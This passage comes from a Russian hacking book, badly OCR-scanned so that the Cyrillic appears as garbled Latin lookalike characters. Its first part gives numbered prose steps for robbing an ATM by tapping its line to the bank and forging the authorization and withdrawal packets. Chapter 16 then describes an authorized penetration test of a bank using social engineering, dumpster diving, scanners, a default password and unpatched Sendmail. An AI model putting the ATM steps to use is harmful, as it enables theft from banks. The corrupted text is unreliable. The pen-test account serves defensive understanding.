My. OmHaKoO ke psSITOBOI XaKep cKopee HaleT 0OpOHEHHYIO KEM-TO BIIOTIbI-
Xax THICSYEI0JTAPOBYIO KYITIOPY, YeM 3aBIABIIMICS Ha CBaJKe OaHKOMAT.
MoxeT ObITh, €CTb CIIOCO0 ITompoIie?

EcTh, HO [T 3TOTO TTOTPEeOyeTCS] YMEHME AePXKaTh MasUTbHUK B pyKax,
YTOOBI CMacTepUTh cebe HEKMI XapIBapUMHTOBBIN IeBalic, a TAKXXe pa3douparhb-
Cs B CETEBBIX IMPOTOKOJIaX Ha KaHAJIBHOM ypoBHe. Mmest mpocra 10 6e306pa-
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3UST: IOCKOJIBKY OaHKOMAT B ce0e He XpaHUT HUKaKOi MHGOPMAIIMK U BCeraa
obparaeTcst 3a OTBETOM B OaHK, TO MOXKHO, BPE3aBIIIKMCh B KaGeJIb MEXITY HUM
1 6aHKOM, TTepeXBaTUTh TpadUK 1 (haTbCUGUIIMPOBATH €T0 HY>XXHBIM HaM 00-
pa3zoMm. Hu ognH 6aHK He B COCTOSIHUW rapaHTUPOBATh LIEJIOCTHOCTDL Kabels
Ha BCEM €T0 MPOTSKSHMM.

Pazymeertcs, ans aHanusa npoTokojia oOMeHa MOHAaA00UTCSl Mepco-
HaJIbHBIN KOMITBIOTEP, a TAKXKEe MporpaMma JijIsl CHSTHS JaMria v TIpe/icTaBie-
HUS €Tro B ynobounTtaeMoM Buse. MOXHO, K TPUMeEpY, BOCTIOJIb30BaThCs KOM-
MaKTHOW W MaJieHbKOW YTUJIMTOW pi0 M HABUTaTOpOM ympasieHus bleak I,
3a00T1MBO HanvcaHHbIM xakepoM KPNC mist B3noma HTB, Ho BniosiHe nof-
XOISIILIMM U JIJISI 3TOTO Ciyvas.

EnuHcTBeHHOE, YTO MPUAETCS CHasATh CAMOCTOSITEIbHO, TaK 3TO KOH-
TpoJuIep IJIsl MOACOeAMHEeHUSI K OaHKOBCKOMY Kaobemto. B Cetn oueHb MHOTO
Pa3IMUHBIX CXEM M 3HTY3MAaCTOB, MPeIaralliux 3a OTHOCUTEIbHO HE0O0Jb-
1€ TeHbI'U TPUOOPECTU YXKe TOTOBbIe M3nenus. Tak Win uHaue, HO B ajib-
HelileM OyaeM CUMTaTh, YTO TaKOM AeBalic y HAC €CThb.

Hammu nocnenyroine aeicTBUS:

1. BpesaeMcs B TMHUIO MeX Ty 0aHKOMAaTOM 1 aBTOPU3aIMOHHBIM IIeH-
TpOM (3aMETUM, UTO BPe3aThCsl MPUIETCS B Pa3pbiB Kabessl, TaK YTOOBI BbI B
JaJbHEHIIIEM MOTIJIM He TOJBKO IepeXBaThiBaTh, HO M OJOKMPOBATh JIIOOBIC
TIPOXOSIINE ITaKeThl). PasyMeeTcst, 4To eCJIv MbI XOTSI ObI Ha MTHOBEHHUE TIpe-
PBEM IIeJIOCTHOCTD KabeJis, IeJI0 3aKOHIUTCS T1aueBHO. [ToaToMy rmoummTe B
KHIKKaX 3JIEKTPOHHBIE CXeMbl MTHOBEHHOM KOMMYTAIIMU «Ha XOIy». AHAJIO-
TMYHBIM 00pa30M MOIIIEHHUKU HEUTPATU3YIOT CJIOKHBIE CHCTEMBI SJIEKTPOH-
HBIX cUTHanm3amuii. He Tex, 4To B Mara3uHax, a Ha IOPSIZIOK COBEPIIICHHEE.

2. Habionaem 3a nmepechblIKOil MakeToB, He MPeANpPUHUMAas HUKAKUX
neiictBuil. Tonbko Hab0MaeM, YTOOBI MOHSTH JOrMKy. Ha camoM aene aTo
«TOJIbKO» IPEACTaBJIsIeT COO0M YTOMUTEIbHbBIN 1 KPOIIOTJIMBbII aHAIU3 IIPO-
TOKOJIOB M paclIM(poBKU Bcex MOJIel 3arojioBKOB MaKeTOB C TOH 1eJblo,
4yTOOBI B NajbHEMIlIEM MMEThb BO3MOXHOCTb F€HEpallMi U OTIPaBKU COO-
CTBEHHBIX MAKETOB, HE OMAacasCh TOr0, YTO OHU YEeM-TO OYIyT OTJIMYATHCS OT
peasbHbIX.

3. Teneppb MaHUNYJMpPYEM JiETaJIbHOW KapToil (3TO 3HAYMT, YTO IO
KpaiiHelt Mepy OJIHY KapTy Bbl IOJDKHBI OyIeTe BCe XKe 3aBECTH) C TeM, YTOObI
TOHSITB JIOTMKY 0OMeHa. B yacTHOCTH, HAlTH M OTTO3HATH MepeaaBaeMblie OaH-
KOMAaTOM 3arpochl U BO3BpAIllaeMbIe €My OTBETHI.

4. CpaBHUM TeIepb 3TO C IIPOCPOYECHHOM KAPTOil, YTOOBI OIpPEAEIUTh
pPEeaKIMIo CUCTEMBI B TAKOM CUTYyalluM, a TakXKe HAUTU U MACHTU(DUIIMPOBATD
KOZBI OIIMOOK (OHM HaM MOTOM ITOHAZ00sITCS).
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5. HaxoHew, Ta1mHeM 110 MaJIeHbKO U151 XxpabpocTu 1, octaBus LlIBap-
LIeHerrepa Ha Lyxepe, HadHeM Mpoliecc. 3aCoBbIBA€M Hally KapTy, Ha CUETY
KOTOPOI JIeXXaT OCTaBUIMECS MOCIe SKCIIEPUMEHTOB ¢ 6aHKOMATOM HECKOJIb-
KO JI0JJIapOB.

6. HaGonaem, kak 6aHKOMAT IIUIET 3alpocC, BKIIIOYasi HOMEpP Halllero
cyeTa M BCe OCTaJIbHOE. MBI HUKAK He BMEIIMBAeMCST B 3TOT IMPOLIECC.

7. ABTOPUM3AIIMOHHBIN LIEHTP AOKEH BEPHYTb OTBET, B KOTOPOM CO-
JIEP>KUTCS MHOTO T0JIe3HOI nHOpMalum. A cpely Hee — MaKCUMaJIbHO BO3-
MOXHasl cyMMa TSI CHATUS. BOT TyT MBI mepexBaTbiBaeM 3TOT MaKeT U B3aMeH
Hero 1ieM Apyroii. YeM oH oTJMvaeTcss OT OpUTrMHAIBHOTO, HE CTOUT, HaBep-
Hoe, Jaxe FOBOPUTh — U TaK BceM sicHO. Ho OyapTe BHUMAaTEIbHBI! DTa CyM-
Ma MOXeT ITPUCYTCTBOBATh CPa3y B HECKOJBKUX TMOJISIX, KPOME TOTO, HEOOXO-
JIMMO CKOPPEKTUPOBAaTh M TOJie KOHTPOJIbHOW CyMMbI, UHauY€ HUYETO He
MOJIyYUTCsI! DTO CaMblil CIOXKHBIIA MOMEHT BO B3JIOME.

8. Bripouem, Ha 3TOM 3Tarne B ellie HU4eM He puckyere. Eciu ommbe-
TeChb, TO MPOCTO MEPEXBATUTE OOPATHBIN OTBET OaHKOMAaTa U He MPOMYCTUTE
ero. Benp BHI ellie MOMHUTE KO/bI OIIMOOK, HE Tak JIu? A mosToMy npooyiite,
MoKa 6aHKOMAT He «IIPOTJIOTUT» (haTbcUDUIIMPOBAHHBIN MaKeT.

9. Hy uto xe, Ternepb TpeOyiiTe OT OaHKOMAara CTOJIbKO JEHEr, Ha
CKOJIBKO y Bac XBaTUT cOBeCcTU. B aTo Bpemsi GaHKomar repemaeT OaHKY,
CKOJIBKO JIeHET ObLITO CHATO. B3ampapy. DTy nHGbOpMaIInio Haao mepexBaTUThb
1 TIOCJIaTh JIOXKHBIN TaKeT, YTO JACHET CHIATO Bcero | mosurap (Mau CKOJIBKO Y
Bac TaM OCTaJIOCh B3allpaBay Ha KapTouke). bynbTe oueHh BHUMaTebHBI. Te-
nepb paabcuPUIMpoBaHHEBIN ITAKET MepeaacTcs yxKe 0aHKy, 1 1I000e HeBep-
HOe AeiicTBUE OyIeT HeoOpaTUMO 3a(UKCUPOBAHO CUCTEMOIM 6€30MacHOCTH,
u naxe I1IBaplieHerrepy CKopo MoKaxkeTcsl )KapKoBaTo.

10. Hy, BoT 1 Bce. OcTanachk MajeHbKas mpobjemMa — Kak 00ecreynThb
CXOIMMOCTD e0eTa u KpeauTa. Beab 6aHKOMAaT BeIeT JIOTU U IIPOTOKOJIbI BCEX
neiictBuii. Ilogymaiite, Kak MOXXHO OOMaHYTh CUCTEMY.

11. Hakonen, Bce! Bel oTcoennHsieTe CBOI HOYTOYK OT KabeJIst, 110 BO3-
MOXHOCTU 3aMacKMpOBAaB HEJIETAJIbHOE IOAKJIIOYEHUE, U OTIIPABJISIETECH
B OJIVDKaWIIMIA KOMITBIOTEPHBIN CaJIOH 32 HOBBIM MUKPOITPOLIECCOPOM.

12. OnHaKo MOMHUTE, YTO MHOTHE GAHKOMATHI ceiiyac CHaOXKEeHbI KOH-
TPOJIbHBIMU TeJIeKaMepaMu, UTO He ecTh Xxopoio. Ho, K cuacThio, ellie He Bce.
U cranpHas Kpbica Bcerma HalaeT MIst ce0s 1Ieib!

A BoOO111Ie, YTOOKI JIOMaTh OAHKOMAThI, HEILJIOXO Obl pa300paThCs B UX
YCTPOICTBE, TUTIOBOM MTPOTOKOJIE OOMEHa U MPOrpaMMHOM obecrnieueHuu. To
€CThb TaK UJIM MHave BbIOpaTh cebe paboTy, CBSA3aHHYIO ¢ UX pa3paboTKoii, co-
3MaHMEM WJIU 10 KpaiiHel Mepe aKcrutyaTanueid. B aToMm ciyyae Bbl MotyunTe
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JeUCTBUTENILHO TOCTOBEPHYIO MH(GOPMAIIMIO 00 UX YCTPOUCTBE, a TAKXKE Clia-
OBIX U CHJIBHBIX CTOpOHaX. A BeIb YSI3BUMOCTh Yy HHUX JCUCTBUTEIBHO €CTh.
TosbKO OHa HeOYEBHIHA [UTS ITOCTOPOHHETO, He PabOoTaBIIIEro C HUMU YeI0-
Beka. Ho, Kak 1 1060My 4eI0Be4eCKOMY TBOPEHHUIO, 3TOMY CBOMCTBEHHBI He-
JIOCTaTKU He B MEHbIIeM urciie. OmMHaKo OymeTe JIM Bbl 3aHUMAThCSI MEJTKIM
XYJTBHIYECTBOM, HaXOMsICh Ha BBICOKOOITIaYMBaeMoii pabote?

'hnaea 16.
AHOTOMUS APY>XKECKOro B3AOMA

ToMy, KTO XO4eT y3HaTh, HACKOJILKO XOPOIIIO 3aiuiieH ero Web-cep-
Bep, MOXXHO TTOCOBETOBATh BeChMa HalIeXKHOE CPEJICTBO: HAHATh XaKepa U I1o-
MPOCUTH €T0 B3JIOMATh 3aAIIUTY. DTOT CIIOCOO COCTYXUI OTIUYHYIO CIYXKOY
OIHOW (PMHAHCOBOU OpraHM3aIuy, coOOMpaBIIeiics MPOBOIUTh GAHKOBCKUE
omnepanuu ¢ momolnbio Web-texHosoruii. KoMmnaHus HaHsIa CIIeIMATBHYIO
TPYIIITY, KOTOpas HaIllIa «IbIPbI» B CUCTEME 3allMTHI, TIPEKIIE YeM yCIIyra Obl-
JIa TIpeicTaBieHa myouke. TeM caMbIM yIaaoCch YMEHBIIIUTh PUCK MTPOHUKHO-
BEHUSI JICKTPOHHOTO BOPUIIIKM B CUCTEMY, T/I€ XPAHSTCS IyKUE IEHBTH.

PacckaxeM o peaJIbHOM OMNbIT€ OMHOTO U3 COTPYIHUKOB, pabOTaBIINX
B OaHKOBCKoOI cepe. HazBaHus, uMeHa U mpoyue AeTaad U3MEHEHbI TaKUM
0o0pa3oM, YTOObI OpraHM3alUI0 HEelb3s ObLIO «BBIYUCIUTL». Bo BceM ocTajib-
HOM UCTOpUSI MPaBAUBa.

Cocrosgnue xeitmca DosicBopTa, BUlle-TIPE3UIEHTA 110 O€30I1aCHO-
ctu Big American Bank, 66110 6;1113K0 K maHM4YecKoMYy. OH TOJIEKO YTO BBISIC-
HWJI, YTO ero OaHK cOOMpaeTcsl BHEAPSITb CUCTEMY YCIYT JUIS yAaJeHHBIX KJTU-
eHTOB Ha 06a3e Web; ycayroil mnpeamnosarajoch OXBaTUTh HECKOJbKO
MWIJIMOHOB 4eJioBeK 1o Bcemy mupy. Cinyx6a BABank Online noykHa Oblia
MPEeAOCTaBUTD YAaJ€eHHBIM KJIMEHTAaM BO3MOXHOCTb 3HAKOMUTLCS C COCTOSI-
HUEM CYETOB, BBITIOJHSTH MEPEBOMBI M TIATEXU W YIIPABISITH IBUXKECHUEM
CBOMX CPEJICTB.

DouIcBOPT HE MOHUMAJT, TIOYEeMY €TI0 HUKTO He TIpeayIpenniI O pa3pa-
00TKe MPOeKTa, KOTOPbI CTaBUJI KOJOCCATbHOE KOJIMYECTBO MPoOJieM reper
CITy>k001i O€30IacCHOCTU. YK€ Havyaloch 0eTa-TeCTUPOBAaHUE IIPOrpaMMBbI; 10
BHEIPEHUSI HOBOM OHJIAHHOBOM yCIIYTH OCTAaBajJI0OCh HE OOJIBIIIE IBYX MECSILICB.
TIpesunent BABank peuni, uro @osuicBopTa MPOCTO «3aKIMHWIO», U TIPE/-
JIOXUJI €My KaK MOXHO CKOPee HalTH BbIXOJl U3 CUTYyallUU.

Heo6xoaumo GbU10 CpOYHO OLIEHWTh, HACKOJIBKO Oe30I1acHa CHUCTeMa
BABank Online. Beab 1ocTaToyHo naxke He 3J10YMBIIUIEHHOTO «B3JIOMa» CHC-
TeMbI, a MpocTo Web-XyaIuraHcTBa, YToObl KJIMEHT MOTEePSLT I0BEpUE K yCIIyTe,
a 0aHK JMIIuICs yacTt goxona. [TociaemoBaso pelleHre: HaHITh KOMIAHUIO,
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COTPYIHWKYU KOTOPOIA TIOMBITAIOTCS IPOHUKHYTh B CHCTEMY M3BHE M TEM Ca-
MBIM OMpeeNST ciadble MecTa B ee 3aiuTe. DoICcBOPT 3aKII0YMIT KOHTPAKT
¢ Takoil (hUpPMOIi, 1 OHU HavaIM paboTaTh B TECHOM KOHTakTe. OH cTapaics
OOBSICHUTB, B YeM COCTOMT 3aJada SKCIEPUMEHTAIBHOTO MTPOHUKHOBCHUS,
WJIU, €CJIM MOXKHO TaK BBIPAa3UThCS, «APYXKeCTBEHHOro» B3jaoMa. [Ipencrosio
OIICHUTH LIEJIOCTHOCTh HOBOW YCIIyTH M OIPENeNIUTh, KaK 3Ta yCIyra COOTHO-
CUTCSI C MPOYMMU OAaHKOBCKUMU OMNEepaLMsIMU; BbISIBUTH CJlabble MecTa; Mpe-
JIOXUTh PellieHUs] MO YIyYIIEHUIO 3alUUThl; MPOAEMOHCTPUPOBATh BO3MOX-
HBIE TTOCJICICTBYS B3JIOMa.

Pa3spaboTka NAGHOB BTOP)KEHUS

ITpu MozmeaMpoBaHUY aTakyd HEOOXOAMMO OMPENeTUTh, KTO SIBJISIETCS
MOTEeHUUAJLHBIM 3JIOYMbBILIIIEHHUKOM. BOJBIIMHCTBO KOMMAaHWI MpeacTaB-
JIsIeT cebe B 3TOM KaueCcTBE KaKOro-HUOyIb Mpo(ecCuOHAIbLHOIO MPECTyTHM -
Ka, MHOCTPaHHYIO JepXkaBy, IIMUOHA, KOHKYPEHTa-TePPOPUCTa WX MTPOCTO
16-reTHETO TOAPOCTKA, pa3BieKarolerocs ¢ kKiapuarypoi. MoicBopT cka-
3aJ1, 4TO 60Jiee BCero GOUTCS MEKIYHAPOIHbBIX TTPECTYITHUKOB, AeCTBYIOIINX
U3 KOPBICTHBIX moOyxneHuit. [1ocae 3Toro ObUIO pelIeHo, Kak Haao IPOBO-
IIUTh «IPY>KECTBEHHBII» B310M ceTeil 1 Web-y3108 BABank.

BbeccniopHo, MHOTO€ 3aBUCUT OT TOTO, HACKOJBKO AAJIEKO FOTOB 3alTH
MOTEHIIMAbHBIN Xakep. J1st monydyeHust nHGOpMaluy, KOTopast MOXKeT OKa-
3aTbCsl TIOJIE3HOU MPU B3JIOME, YACTO UCMOJB3YIOTCS Pa3HOOOpa3HbIe MCUXO-
Jloruyeckue npueMsl. HampuMep, MpecTymHUK 3BOHUT B 0(UC U MUJIO pac-
CIMpaIllMBaeT COTPYIHUKOB O MPEUMYIIECTBaX HOBOTO TMaKeTa YCJIyT, IMOIMyTHO
3a/1aBasi BOIPOCHI OTHOCUTEJIBHO CUCTEMbI 0€30TIaCHOCTH.

Jlpyroii yacTo BCTpevamouiics npuemM — pasrpedbanue mycopa. O4eHb
YacTO COTPYAHUKY KOMITAHU I TOBOJIBHO JIETKOMBICJIEHHO BHIOPACHIBAIOT BHY-
TpeHHME TeleOHHbBIE CITPABOYHUKM, TEXHUUYECKYIO TOKYMEHTAIUIO, TUCKU
1 MHOTOE Ipyroe. DTO XKe HACTOSIIAs 30JI0Tast XKUJja JIsl 3JI0yMBIILIEHHUKA!

Bri1 Tpon3BeIcHBI TIOMTBITKYA BOWTH B CUCTEMY Pa3HBIMU CITOCOOAMM.
JocTyI MOXKHO MOJIYyIUTh Yepe3 TeJIe(OHHYIO CUCTEMY, TTOPTHI TS TEXHUIe-
CKOW TTOJJIEPKKH U TTPOYKE IIEKTPOHHBIE «pOPTOUYKM». He MTHOpHpPOBaINCh
Y TICUXOJIOTMYECKUE INTYYKH, «B3JIIOMIIMKW» MPUKUABIBAIIMCH MO TeJeGoHy
TO COTPYOIHUKAMK KOMITAHWMY, TO TTOCTABIIMKaMU. B KopriopaTHBHOM Mycope
OHU TOXE TMOKOMNAJUCh, HO 3aHMMAaJIUCh 3THM TOJIBKO 3a TpeejiaMu opra-
HM3aIUU.

3arnpeieHHbIMU CYNTATTUCh; TICUXOJIOTUYECKUE MPUEMBI C UCTIOJIb30-
BaHUEM BJIEKTPOHHOM TOUTHI, pa3rpebaHre Mycopa Ha TEPPUTOPUM OpPraHU-
3allUM, BbIIABaHUE ce0sl 3a COTPYAHMUKA OaHKA MPU JIMYHOM KOHTaKTe, a TaK-
K€ TIOMBITKM TMPOHUKHOBEHUS B CUCTEMbl OW3HEC-TapTHEPOB OaHKa.
Hckimovanuch u 6ojiee rpyOble METOIbl, BPOJE BBIMOTATENbCTBA, CUJIOBOTO
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JIaBJICHUS, IIIAHTaXKa U KOMaHUs B 0uorpadusix COTpyaAHUKOB 0aHKa. YacTb u3
3TUX «METOJ0B» OblIa OTKJIOHEHA 10 COOOPaXEHUSIM 3aKOHHOCTH, Ha Ipyrue
He comtacuiiach ciiyxkba 6ezonacHocTu 6aHka. K coxaneHuto, Bce 3T orpa-
HUYEHUS MMOMEIIANM «B3JIOMIIMKAM» MOJHOCTbIO CMOACIMPOBATh JECUCTBUS
MOTEHIIMAbHbBIX 3JI0YMbIIIIJICHHUKOB.

Kcratu, n camo xakepcTBO — AesTHHE IIPOTUBO3aKOHHOE; MHOTIAa OHO
Jlaxe mpecyeayeTcs B yrojoBHOM nopsiike. [ToaTomy He 3a0yabTe BbIAATH Ha-
HUMAaeMOil BAMY KOMITAaHUHY IMTMCbMEHHOE pa3pellicHIEe Ha BCe MPeAIIPUHIMA-
eMble JeiicTBUsI. Ecim Kakue-To IeicTBUS TPYIIIEI, OLIEHUBAIOIICH CUCTEMY
Oe3ormacHOCTH, OYyIyT BBISIBJIEHBI (MpaBaa, BEPOSITHOCTh 3TOTO Majia), HEBep-
HO TTIOHSATHI ¥ 3apeTUCTPUPOBAHEI KaK ITpaBOHApYIIIeHNE, 3Ta OyMara oMOXKeT
MIPUTJIAIICHHBIM XaKepaM 130eXKaTh HeNIPUATHOCTEH. SICHO, BIIpoYeM, 4TO HI
OlHAa KOMITAaHMS HE pa3pellInT CTOPOHHEN OpraHM3allii BTOPTHYTHCS B CBOIO
BBIUMCJIUTEIBHYIO CETh.

PasymHbIli Xxakep coOupaer MHGpOPMALUIO JIOOBIMU JIOCTYITHBIMU
CpelCcTBaMU — B XOJ MAYT, HAI[PUMEpP, OTKPHIThIE TOKYMEHThI, (DMHAHCOBbBIE
OTYEThI, TEXHUYECKasl JOKYMEHTALIUsI. XaKephbl COOMPAIOT TaHHbIE 00 UCIIOJIb-
3yeMBbIX OINEPAIMOHHBIX CUCTeMax, MPOMYKTaX, SIBJSIOIIMXCS OCHOBOW WH-
¢GopMaLIMOHHOM CUCTEMBI, TeJIe(POHHBIX CTAHIIMSIX, a TaKXkKe (pU3NIEeCKUe all-
peca LIEHTPOB XpaHEeHUS TaHHBIX U TeJe(OHHBIX y3J10B. YTOOB COKOHOMUTH
Bpems U 1eHbru, BABank cam nepenai Bcio 3Ty nuH(opmMaio padboyeii rpyr-
e («B3JIOMIIUKAM»).

BeccriopHo, 106pOCOBECTHBII XaKep C/IENaeT BCe BOZMOXKHOE, YTOOBI
MaKCHMAaJTbHO TIPUOIM3UTBCS K 00BeKTY aTaku. DoICBOPT OTKPBIT Ha UMST
(bupMbI-«B3JIOMIIIMKAa» JIeraJbHbI OaHKOBCKUIA cueT Ha cymmy 1000 mosuia-
poB. C 3TuM cyeToM (prpMa Morjia paboTaTh 1Mo TeJeOoHy WU Yyepe3 IMIIOT-
HbI Web-y3ei1, K KOTOpOMY UMEJIO JOCTYT OTpaHUISHHOE YMCIIO pAOOTHUKOB
OaHka.

Hantn axmanecosy nary

[TokOHYUB ¢ MpeaBapUTETbHBIMU M3bICKAHUSIMU, TPYIIA 3J0YMBIIII-
JICHHUKOB HAaUMHAET COCTaBJISITh CXeMy CeTU. YKa3biBatoTcs [P-aapeca, dpusu-
YECKOE pa3MellleHUe YCTPOWCTB, MOPTHI ISl YNPABICHUS YCTPOMCTBAMU U
CBSI3U Yepe3 KOMMYTUPYEMYIO CEeTb, TeJle(OHHbIE HOMEPA, MOLYJIU TOJIOCOBO-
ro orBera, cetu mmoa SNA, cepBepbl, ToaaepXuBawlIiue yciyru Routing and
Remote Access Service ot Microsoft, MapIIpyTU3aTopbl U IMIpOYKre TOYKH, TIe
MPOUCXOIUT ayTeHTU(DUKALIMS YIATEHHBIX 80OHEHTOB.

B cocraBiaeHnu Takoit KapThl 3HAYMTEIBHYIO ITOMOIIL MOTYT 0Ka3aTh
HEKOTOpPbIE IIMPOKO paclpoCTpaHEHHbIE METOAbl U CpelcTBa aHanu3a. Ha-
MpUMep, IMMOPBIBIINACH KakK cieayeT Ha Web-y3ie InterNIC, MoXHO MOJIyduTh
Maccy nHpopmamu o cTpykrype [P-cetn kommanuu. CyliecTBYyIOT CITeIM-
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aJIbHBIE TTPOrPAMMBI-«IEeMOHBI», KOTOPbIE aBTOMAaTHUYCCKM TepeOrpaloT Jie-
CATKU THICSIY TeJIehOHHBIX HOMEPOB, pearupyst TOJbKO Ha TOHOBBIC CUTHAJIBI
OT MOJIEMOB, — TaKUM 00pPa30M MOXKHO OIIPENENIUTh, YTO TPYOKY Ha IIPOTHBO-
ITOJTOXKHOM KOHIIE «CHSII» KOMITBIOTED. AHAJIM3aTOP MPOTOKOJIOB MO3BOJISICT
O03HAaKOMHUTHCS C TpaUKOM, TiepeaaBaeMbIM ITO 0OHapyXeHHBIM | P-KaHatam
opranusanuu. [IpoHUKHYB B CeTh, XaKep CIIOCOOCH MTPUMEHUTh aHATU3aTOPBI
TIPOTOKOJIOB JIJIST CJICXKEHMS 32 TpaMKOM U TepexBara mapojeii.

[pyrina OleHKH CUCTEMbI 3alUThI 00sI3aTeIbHO JOJKHA BECTHU y4eT
BCEX CBOMX AeUCTBUI. ECIIM BBISICHUTCS, 9TO HAa CUCTEMY OKa3bIBACTCS BPEI-
HOE BO3/ICMCTBUE, KOHTPOJIBHOM XYPHAT MOMOXET pa3o0paThCsi B MPOU30-
IIeIIeM W YCTPAHUTD TTOCIIEICTBUS TAKOTO BMEIIIaTeIbCTBA.

Crenyrouii 1mar COCTOUT B TOM, YTOObI IpOaHAIM3MUPOBAaTh MacIITa0
[P-o6nacTu, cBsI3aHHOM ¢ KOMITaHKelH (T.€. y3HaTh, uMeeT oHa IP-anpec kiac-
ca B wiu C); aTo MoxHO caenath npu oMoty InterNIC wiu 1o60oro apyro-
ro cpeacrtsa. Hampumep, Bocmosib30BaBIIMCh KOMaHAOK nslookup, MoXHO
BBISICHUTD, Kakue IP-anmpeca MoXHO aTakoBaTh. 3aTeM HEOOXOAMMO 3aUTH I10
telnet Ha Unix-MalinHy, Ha KOTOPOi ObUIa ycTaHOBJIeHA mporpamMma Sendmail
5.X, B Ubei CHUCTEME 3aIIUThl UMEETCS PSI IbIP; Yepe3 HUX MOXKHO TMOIbITaTh-
Csl IPOHUKHYTDH Ha TIOYTOBBIN CEPBEP.

OOGHapyXUJIOCh, UYTO CUCTEMHBII OTIepaTop HE BXOAUJ B CUCTEMY YXKe
19 nHeit; 93TO OBUIO paCliEHEHO KaK HEJIO0CTaTOK CUCTEMbI 3allUThl. BhIsIcCHU-
JIOCh TaKXe, YTO B HACTOSIIUIA MOMEHT B CUCTEME pabOTalOT JBa YeJOBEKa;
Heo0X0AMMO ObLIO JOXIAThCSI, TOKA OHU BBIMIYT, U TOJILKO TOTa HaYaTh aTa-
Ky. KpoMe Toro, 6puta 3amyliiieHa creruyaibHas mporpaMma, Kotopasi oMor-
Jla CKpBITh CBOY Hactosiiue [P-agpeca u uMmena.

Jnst moucka Ipyrux ciabbiX MECT B CUCTEME 3alUThI ObLITN UCTIONb30-
BaHbI CPEJCTBA OLIEHKM HANEXHOCTU 3alllUThl AaHHBIX Internet Scanner ot
Internet Security Systems 1 6ecriatHast mporpamma Satan. CroasiTcst ¥ IpyTrue
nporpammebl, HampuMep Netective ot Netect, Ballista or Secure Networks u
NetSonar ot Wheel Group. MHorue 13 3Tux IIporpaMM MOXXHO OeCIUIaTHO 3a-
rpy3uTh 4epe3 Internet.

VY Kaxa0ro u3 NpoayKTOB €CTh CBOM JOCTOMHCTBA M HEAOCTaTKU, IO-
9TOMY, UYTOOBI MPUKPBITH BCE «IAbIPbI», CTOUT 3aMaCTUCh HECKOJbKUMU MPO-
rpaMMaMu. DT CPeiCTBA TOMOTYT HATH TJI0X0 CKOH(UTYPUPOBaHHbIE Cep-
BEpbI, MapIIPYTU3ATOPHI C «AbIpaMU», TIPOOJEMBbI B CUCTEMHOI1 6a3e (registry)
Windows NT, HenpaBujibHO CKOH(MUIYypHpPOBaHHbBIEC ONEPallMOHHbIE CUCTE-
Mbl, HEYCTAaHOBJIEHHbIE TTPOTOKOJIbI, CJabble aposu, HeMpPaBUIbHbIE BEPCUU
MPOTPAaMMHOTI0 O0eCTIeUeHMS U YCTapeBIIIME «3arlIaThl».

Bruto onpobGoBaHa M mapoyka TCHUXOJOTUYECKUX MpuemMoB. [lpuku-
HYBIIMCh WHXEHEPOM W3 KOMIIAHUU-TPOU3BOAUTENSI, COTPYAHUK Up-
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MBbI-«B3JIOMIIIMKa» Mapy pa3 MO3BOHWJ B TPYIITy pa3paboTku UHMOpMaMOH-
HbIX cucteM BABank u mojiyuni gaHHbIe 0 CTPYKTYype ceTn baHka. Kpome To-
ro, yAaJ0Ch pa3ao0bITh JOBOJBHO MOAPOOHBIE JaHHbIE O pabOTHUKE OaHKa;
MOTOM OJIH U3 «B3JIOMIIIMKOB» MPUTBOPUIICS 3TUM PAOOTHUKOM, TOJYYUB B
CBOE€ PACMOPSIKEHUE IOTMOTHUTEIBbHBIE CPEICTBAa JOCTYIMa K 3JIEKTPOHHBIM
pecypcam.

BoopyxuBiiuch pesyjibraTaMi CKaHUPOBaHMS, MHDOpMaIei u3 oT-
KPBITBIX UICTOUHUKOB Y TaHHBIMU, MTOJIyYEHHBIMU C TIOMOILBIO [TCUXOJIOTHYE-
CKUX TIPUEMOB, «B3JIOMITUKW» TTOJTHOCTBIO TTOTOTOBWIMCH K IITypMYy MH(DOP-
MaimoHHo# cuctemMbl BABank. beccropHo, camMbiM cepbe3HBIM MOMEHTOM
orepauuu ObLIa UMEHHO TIONBITKA B3JloMa. Hy>XHO ObITh OYeHb BHUMATEb-
HbIMU, YTOOBI HE HAHECTH CEPbhEe3HOTro yiiepba cUCTeMe 3allMThl JaHHBIX.
B Takux nenax cienyet u3derarb JIETKOBECHBIX MOAXOMOB: aKKypaTHO MpPO-
HUKHYTh B CUCTEMY KyJa TPYIHEe, YeM 3alyCTUThb CPEICTBO CKaHWPOBaHUSI
CETU Y COCTaBUTb OTUET.

B3anom

«B3moMIIKy» BOCIIOJIB30BAIMCH CJTA00CTHIO MTAPOJIBHOM 3alIIUThI, 00-
Hapy>XeHHBIMU CTApbIMU BEPCUSIMU TTIOUTOBBIX ITPOTpaMM (UbM XOPOIIIO U3Be-
CTHBIE «IBIPBI» B CUCTEME 3allIUTHI TaK M HE OBLIM 3ajlaTaHbl), telnet-1ocTyrnom
K He3aluieHHbIM roptaM. Kpome Toro, onu 3arpyxanu no FTP ¢aiinbr ¢
MapoJIsSIMU ¥ MEHSUIM UX. MOXeT ObITh, KOMY-TO ITOKaXETCsI, YTO BCE ITO ye-
pecuyp MPOCTO, OTHAKO OOJIBITMHCTBO «IbIP» 3aIIUTHI CBI3aHO UMEHHO C TEeM,
YTO B OPraHU3allMM OTCYTCTBYET MPAaKTHUKA KaXXIOJAHEBHOTO BBITIOJIHEHUS HE-
KWX HEMYIPEHBIX OTepaluii.

B xopriopaTuBHYy10 ceTh MOXHO BoiTH Yepe3 cepBuckl TCP/IP, mopTsl
yIIpaBJIeHMSI Ha BKIIOUEHHBIX B CETh KOMITbIoTepax v oucHbX ATC, mpuHu-
MaloIIX yJacTue B Mepenadye JaHHbIX. MOXHO TaKKe BOCITOJIb30BAaThCS J0-
TTOJTHUTEJIbHBIMU CPEJCTBAMU, BBISIBICHHBIMU Ha 3Talle UCCJIEIOBAHUS CETH.

Yto kacaetcsa cet BABank, Oblii BBISIBJIEHBI ABE Cla0Oble TOUYKM.
Bo-niepBbix, OpT TexHu4eckoro oociayxuBanus AS/400 ObUT 3aKPBIT TTApO-
JIeM, YCTaHOBJIEHHBIM MTPOU3BOIUTENEM 0 YMOJYAHUIO; B pE3ybTaTe Oblia
MoJlyyeHa BO3MOXHOCTb JIeIaTh C 9TOI CUCTEMO BCe YTO yrogHo. Bo-BTOpBIX,
Ha MMOYTOBOM cepBepe MMesach ycrapeniilias Bepcus Unix, Ha KOTOPYIO He yc-
TaHOBUJIM HEOOXOoAMMbIe 3aruiaThl. TaM OOHApPYXXWJIOCh HECKOJbKO AbIP; B
YAaCTHOCTU, MOXHO ObLTO OTMPABJSAThH MOYTY U 3aMUCHIBaTh (aiijibl B KOpHE-
